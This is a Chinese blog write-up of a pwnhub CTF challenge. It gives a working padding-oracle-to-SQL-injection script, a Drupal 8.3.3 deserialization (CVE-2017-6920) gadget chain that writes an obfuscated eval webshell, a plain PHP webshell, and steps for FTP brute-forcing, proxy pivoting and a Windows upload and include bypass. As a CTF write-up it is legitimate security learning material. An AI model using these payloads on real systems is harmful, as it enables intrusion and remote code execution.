pwnhub-粗心的佳佳

最近也没有怎么发博客,毕业季嘛,各种各样的一大堆事情,而且目前正在用thinkjs重写博客,写了有1/2了吧,所以很多东西没有来得及写博客,前端没有换,还是依旧的丑,没有美感也没有前端,等我慢慢学习之后再来慢慢改吧。上次师傅问我博客怎么写的啊,我掏出一个600行的js,说这个就是整个博客的服务端了,差点没给师傅笑炸了。后来经过一番思考,还是打算用框架来写,所以选定了改动最小的thinkjs,模板文件基本能够直接使用,所以前端也就不会变了,虽然已经有好多人说了我前端写的太丑了,哎太菜了,又不想用别的博客系统,只能慢慢改了。这也是我第一次用thinkjs框架,写之前也没有看过别人写的东西,所以写的势必会很渣,慢慢改就好了。

最近事情比较多,所以也没时间写博客做题什么的。这次比赛刚出那天还在做来着,那天折腾到了晚上一点过也没啥想法,没有看懂当时的hint,也没想过会有ftp爆破。所以就没思路,之后两天事情一多了也就没做了。

本来打算不做了的,结果昨天和ven师傅闲聊的时候,ven师傅说我应该做一做这次的pwnhub,第一关是padding oracle。听了ven师傅建议,正好题目也开着,我也就去做了一下。所以就有了这篇文章,另外我打算以后写文章尽量写的详细一点,把点都尽我所能涉及到。

STEP1 服务器getshel

现在回到题目来,题目使用的是drupal,这一点我们可以想到之前爆出来的drupal的一个反序列化漏洞,具体详情可以看看这里:CVE-2017-6920,不过暂时无法确定版本是否对应,而且首先我们需要登陆到后台去,也就是需要获取到管理员权限。

根据hint提示了ftp的用户名是test,我们扫一下端口: 果然是开了ftp服务的,直接上爆破工具上字典爆破出来密码是test123,然后登陆上去下载到一个压缩包。得到的是一个drupal的控制器已经对应的路由。控制器代码如下:

<?php
namespace Drupal\encrypt_article\Controller;
error_reporting(E_ALL);
use Drupal\Core\Controller\ControllerBase;
use Symfony\Component\HttpFoundation\Request;
use Drupal\Core\Url;
define("SECRET_KEY", "*******************");
define("METHOD", "aes-128-cbc");
session_start();
class ArticleController extends ControllerBase {
  private function waf($str){

    if(stripos($str," ")!==false)
        die("Be a good person!");
    if(stripos($str,"/")!==false)
        die("Be a good person!");
    if(stripos($str,"*")!==false)
        die("Be a good person!");
    if(stripos($str,"sleep")!==false)
        die("Be a good person!");
    if(stripos($str,"benchmark")!==false)
        die("Be a good person!");
    if(stripos($str,"md5")!==false)
        die("Be a good person!");
    if(stripos($str,"insert")!==false)
        die("Be a good person!");
    if(stripos($str,"update")!==false)
        die("Be a good person!");
    if(stripos($str,"delete")!==false)
        die("Be a good person!");
    if(stripos($str,"../")!==false)
        die("Be a good person!");
    if(stripos($str,"..\\")!==false)
        die("Be a good person!");
    if(stripos($str,"'")!==false)
        die("Be a good person!");
    if(stripos($str,'"')!==false)
        die("Be a good person!");
    if(stripos($str,"load_file")!==false)
        die("Be a good person!");
    if(stripos($str,"outfile")!==false)
        die("Be a good person!");
    if(stripos($str,"execute")!==false)
        die("Be a good person!");
    if(stripos($str,"#")!==false)
        die("Be a good person!");
    if(stripos($str,"-")!==false)
        die("Be a good person!");
    if(stripos($str,"eval")!==false)
        die("Be a good person!");
    if(stripos($str,"\\")!==false)
        die("Be a good person!");
    if(stripos($str,"&")!==false)
        die("Be a good person!");

  }
  private function get_random_token(){
    $random_token='';
    for($i=0;$i<16;$i++){
        $random_token.=chr(rand(1,255));
    }
    return $random_token;
   }
 private function set_crpo($id)
  {   
    $token = $this->get_random_token();
    $c = openssl_encrypt((string)$id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $retid = base64_encode(base64_encode($token.'|'.$c));
    return $retid;   
  }
 private function set_decrpo($id)
 {

    if($c = base64_decode(base64_decode($id)))
    {
        if($iv = substr($c,0,16))
       {
            if($pass = substr($c,17))
             {

                 if($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA,$iv))
                {

                     return $u;

                }
                 else
                    die("haker?bu chun zai de!");
            }

            else
              return 1;
       }

       else
         return 1;
    }

    else
        return 1;

 }
  public function enlist() {
    //echo $this->set_decrpo($_POST['test']);
    $list = array();
    $query = db_select('node_field_data', 'n')
      ->fields('n',array('nid','title'));
    $result = $query->execute();
    foreach($result as $res){

     $list[] = $this->t('<h2><a href=":url">'.$res->title.'</a></h2>',array(':url'=>'get_en_news_by_id/'.$this->set_crpo($res->nid)));
    }

    return array(
      '#theme' => 'item_list',
      '#items' => $list,

    );
  }
  public function get_by_id(Request $request){
     $nid = $request->get('id');
     $nid = $this->set_decrpo($nid);
     //echo $nid;
     $this->waf($nid);
     $nid = addslashes($nid);
     $waf_t = 233;
     if(strlen((string)$nid)>16)
     {
      $waf_t = "Id number can't too long";
     }

     $query = db_query("select nid,title,body_value from node_field_data left join node__body on node_field_data.nid=node__body.entity_id where nid = {$nid} and {$waf_t} = 233")->fetchAssoc();
    if(!$query)
     die("nothing!");
     return array(
      '#title' => $this->t($query['title']),
      '#markup' => '<p>' . $this->t($query['body_value']) . '</p>',
    );

 }
}

其路由如下:

enarticle.ennews:
  path: '/enlist'
  defaults:
    _controller: '\Drupal\encrypt_article\Controller\ArticleController::enlist'
    _title: 'news'
  requirements:
    _permission: 'access content'

enarticle.newsid:
  path: '/get_en_news_by_id/{id}'
  defaults:
    _controller: '\Drupal\encrypt_article\Controller\ArticleController::get_by_id'
  requirements:
    _permission: 'access content'

简单阅读一下源码,就能很容易发现是一个padding oracle attack,而且它会把我们的输入解密之后直接放到sql语句中去,并进行了简单了过滤。通过路由发现了一个/enlist,这就是所有文章对应的密文链接,然后其中还有一篇没有发布过的,提示了邮箱密码admin888,那么猜想就是先要搞到管理员邮箱。

这里我同样不赘述padding oracle attack的原理了,具体就是通过padding oracle attack来伪造任意长度的信息,例如我原来的文章的链接是:

/get_en_news_by_id/dzY2WC9rWVJyK1BmM29rZ252Zmx3bnlKWTNEUTUvcy83eU0rNG9QMFF0NDU=

这个通过padding oracle attack之后我能获取到原来的明文是2,由于这个长度是不限的,所以我可以伪造任意长度的信息。然后我就伪造的内容就会带入到sql查询语句中去,通过联合查询可以爆出我想看到的内容,但是我们可以看到,代码中的waf函数几乎过滤了所有的注释符,不过还有一个反撇号没有过滤,可以用来做注释。 最后我想要伪造的payload就是:

ans='0 union select 1,2,group_concat(mail) from users_field_data`'
ans=ans.replace(" ","\x0a")

最后代码如下:

import requests
import base64
url='http://54.223.91.224/get_en_news_by_id/'

def xor(a, b):
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
    l=len(string)
    if l!=N:
        return string+chr(N-l)*(N-l)

def split(string,N):
    tmp=[]
    for i in xrange(0,len(string),N):
        tmp1=string[i:i+N]
        if len(tmp1)!=N:
            tmp1=pad(tmp1,N)
        tmp.append(tmp1)
    return tmp

def padding_oracle(N,cipher): ##return middle
    get=""
    for i in xrange(1,N+1):
        for j in xrange(0,256):
            padding=xor(get,chr(i)*(i-1))
            c=chr(0)*16+"|"+chr(0)*(16-i)+chr(j)+padding+cipher
            #print c.encode('hex')
            result=requests.get(url+c.encode('base64').encode('base64').replace('=','%3d').replace('/','%2f').replace('+','%2b'))
            #print result.content
            if "haker?bu chun zai de!" not in result.content:
                print hex(j)[2:]
                get=chr(j^i)+get
                break
    return get

s="dzY2WC9rWVJyK1BmM29rZ252Zmx3bnlKWTNEUTUvcy83eU0rNG9QMFF0NDU=".decode('base64').decode('base64')
iv=s.split('|')[0]
cipher=s.split('|')[1]
ans='0 union select 1,2,group_concat(mail) from users_field_data`'
ans=ans.replace(" ","\x0a")
print len(ans)
ans=split(ans,16)
print ans
new_cipher=[""]*5
new_cipher[4]=cipher

tmp_middle=padding_oracle(16,cipher)
print 'mid 3:'+tmp_middle.encode('hex')
new_cipher[3]=xor(ans[3],tmp_middle)
tmp_middle=padding_oracle(16,new_cipher[3])
print 'mid 2:'+tmp_middle.encode('hex')
new_cipher[2]=xor(ans[2],tmp_middle)
tmp_middle=padding_oracle(16,new_cipher[2])
print 'mid 1:'+tmp_middle.encode('hex')
new_cipher[1]=xor(ans[1],tmp_middle)
tmp_middle=padding_oracle(16,new_cipher[1])
print 'mid 0:'+tmp_middle.encode('hex')
new_cipher[0]=xor(ans[0],tmp_middle)
final="".join(i for i in new_cipher)
final=final[0:16]+"|"+final[16:]
print len(final)
print base64.b64encode(base64.b64encode(final))

截图如下:

这样就能拿到我要插入的语句对应的链接,访问即可获取到管理员的邮箱。 访问截图如下:

然后登陆邮箱,获取到一个文档的链接,通过查看修改记录获取到网站管理员的用户名和密码,登陆即可。 登陆之后,在这里确定了是8.3.3的版本,也就是存在之前提到的反序列化漏洞

原文只给了执行无参数函数的poc,并提到了可以写webshell。这里我们可以简单分析下。根据文章提到的,具体在 /vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php 核心代码如下:

 public function __destruct()
    {
        $this->save($this->filename);
    }

    /**
     * Saves the cookies to a file.
     *
     * @param string $filename File to save
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function save($filename)
    {
        $json = [];
        foreach ($this as $cookie) {
            /** @var SetCookie $cookie */
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }

        $jsonStr = \GuzzleHttp\json_encode($json);
        if (false === file_put_contents($filename, $jsonStr)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }

然后再跟进一下CookieJar和SetCookie两个类,整体还是比较简单的,有兴趣可以自己根据文章复现下。 最后的代码如下:

<?php
namespace GuzzleHttp\Cookie;

class SetCookie
{

    private $data = [
        'Name'     => null,
        'Value'    => null,
        'Domain'   => null,
        'Path'     => '/',
        'Max-Age'  => null,
        'Expires'  => null,
        'Secure'   => false,
        'Discard'  => false,
        'HttpOnly' => false
    ];
    function __construct(){
        $this->data['Name']='bendawang';
        $this->data['Value']='<?php eval(base64_decode("ZXZhbCgkX1BPU1RbYmVuZGF3YW5nXSk7"));?>';#eval($_POST[bendawang]);
        $this->data['Discard']=false;
        $this->data['Expires']=true;
    }
}

class CookieJar
{
     private $cookies=[];
     function a(){
         $this->cookies[1]=new SetCookie();
     }
}

class FileCookieJar extends CookieJar
{
    private $filename;
    private $storeSessionCookies;
    function __construct(){
        $this->filename='/var/www/html/3fc8ed24042de4ea073d0e844ae49a5f/upload/bendawang.php';
        $this->storeSessionCookies=true;
        CookieJar::a();
    }
}

$a=new FileCookieJar();
#var_dump($a);
print '!php/object "'.(addslashes(serialize($a))).'"';
?>

生成的payload:

在这里提交如下:

然后提交即可

用蚁剑连上去:

然后找到一个flag.txt:

PS:在上述分析之中,我省略了获取服务器绝对路径的部分,这点直接根据文章中的poc执行phpinfo函数就能获取到服务器的路径,然后之前扫目录的结果扫到一个upload目录,就多半是一个可写的目录。所以才有了上述的payload。

STEP2 内网搞事

根据提示说是在内网里面,arp一下发现了一个主机

那么就先代理出来,正巧有人已经上传了tunn123.php,打开一看果然是reGeorg,那我就直接用了,代理出来之后nmap扫一下端口,发现开了80端口啊3389端口之类的,是一个windows服务器。

然后代理访问一下:

这里应该是有文件包含的,源码也给了提示:

<!--if(stripos(basename($file,'.'.pathinfo($file, PATHINFO_EXTENSION)),".")!==false)
 die("error");
if(is_numeric(basename($file,'.'.pathinfo($file, PATHINFO_EXTENSION))))
 die("error");  
 if(pathinfo($file, PATHINFO_EXTENSION)=='')
  die("error");-->

这里进行了简单的验证。然后还有一个地方可以登陆:

爆破了一下无果,折腾文件包含也无果,但是发现它可以包含自身,这样其实有另一种完全可行的做法,可以通过无限提交文件上传请求,然后使服务器生成临时文件,再触发其包含自身,造成一个段错误,是临时文件不会被删除,这样就能通过大量上传之后进行爆破,根据我之前自己的脚本测试,大概上传10000个文件左右进行爆破只需要2小时以内就能成功getshell了。

当然这肯定是非预期了。

之后才尝试到这里登陆的密码就是之前网站的账户名密码,登陆:

一个上传点,那就简单了,上传+文件包含就能getshell了,发现上传之后没有什么过滤,会被存为数字形式的名字,但是我们想要包含的话纯数字是绕不过过滤的,不过windows下面有的是trick,先给个传送门:Windows下的文件上传的小trick

这里最后我上传的内容

this is shell!<?php eval($_POST[bendawang]);?>

然后通过段文件名+<绕过过滤:

然后代理开启蚁剑,连上去:

如下图:

找到一个文件:

base64解密之后拿到flag:

后记

题目确实出的非常好,没能在比赛期间做出来确实太可惜了,还是太菜了啊,最后膜一发ven师傅和wupco师傅。

对了这里要提及一个问题,不知道各位师傅有没有遇到过。因为我个人习惯,python的base64编码的时候我习惯于用"xxx".encode('base64'),不习惯base64.b64encode,但是这里就是一个巨坑,这两者是差别的。看看实例:

>>> a='1'*57
>>> a.encode('base64')
'MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx\n'
>>> base64.b64encode(a)
'MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx'
>>> a='1'*58
>>> a.encode('base64')
'MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx\nMQ==\n'
>>> base64.b64encode(a)
'MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMQ=='

encode的话会加上\n,对单次的编码解码没有什么影响,但是如果是二次编码,就会有问题,本题就是这样,这个坑踩的好疼,因为觉得没问题了,但是提交访问总是500error,气得不行,实在找不到问题了,最后wupco师傅说sql语句出错会触发500错误,检查下sql语句,结果最后才发现这个问题。